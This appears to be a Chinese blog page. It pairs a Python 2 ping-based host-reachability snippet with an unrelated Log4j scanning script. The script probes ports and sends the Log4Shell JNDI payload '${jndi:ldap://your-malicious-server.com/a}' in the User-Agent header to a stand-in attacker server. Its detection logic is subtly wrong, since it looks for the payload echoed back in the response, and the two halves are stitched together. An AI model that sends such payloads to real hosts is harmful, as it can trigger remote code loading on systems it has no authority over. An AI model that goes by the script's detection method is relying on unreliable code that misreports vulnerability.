通过Python判断主机是否存在

本文介绍了一种使用Python的os模块来检测目标主机是否可达的方法。通过发送Ping请求到指定的URL(例如www.baidu.com),可以快速判断主机是否在线。如果状态返回0,则表明连接成功。


判断对方主机是否存在!


import os

status = os.system("ping -c 1 www.baidu.com");

if status == 0:
    print '连接成功!';
else:
    print '连接失败';



编写一个Python脚本来检测给定主机是否存在Log4j漏洞,可以通过以下步骤实现: 1. **扫描开放端口**:首先扫描主机上的常见端口(如8080、8443等),以确定主机上运行的服务。 2. **发送测试请求**:向这些开放的服务发送一个包含Log4j漏洞利用代码的请求。 3. **监控响应**:监控响应中是否包含漏洞利用代码的回显。 以下是一个简单的Python脚本示例: ```python import socket import requests def scan_ports(host, ports): open_ports = [] for port in ports: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) result = sock.connect_ex((host, port)) if result == 0: open_ports.append(port) sock.close() return open_ports def send_exploit_request(host, port): url = f"http://{host}:{port}/" headers = { "User-Agent": "${jndi:ldap://your-malicious-server.com/a}" } try: response = requests.get(url, headers=headers, timeout=5) return response.text except requests.RequestException as e: return str(e) def check_vulnerability(host, ports): open_ports = scan_ports(host, ports) if not open_ports: print(f"No open ports found on {host}") return for port in open_ports: print(f"Sending exploit request to {host}:{port}") response = send_exploit_request(host, port) if "${jndi:ldap://" in response: print(f"Vulnerability found on {host}:{port}") else: print(f"No vulnerability found on {host}:{port}") if __name__ == "__main__": host = "example.com" ports = [8080, 8443, 80, 443] check_vulnerability(host, ports) ``` 这个脚本的工作原理如下: 1. **scan_ports函数**:扫描给定主机上的指定端口,返回开放的端口列表。 2. **send_exploit_request函数**:向指定的主机和端口发送一个包含Log4j漏洞利用代码的HTTP请求。 3. **check_vulnerability函数**:调用上述两个函数,检查主机是否存在Log4j漏洞。 请注意,这个脚本只是一个基本的示例,实际应用中可能需要更复杂的检测方法,并且要确保在合法和授权的情况下进行扫描。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值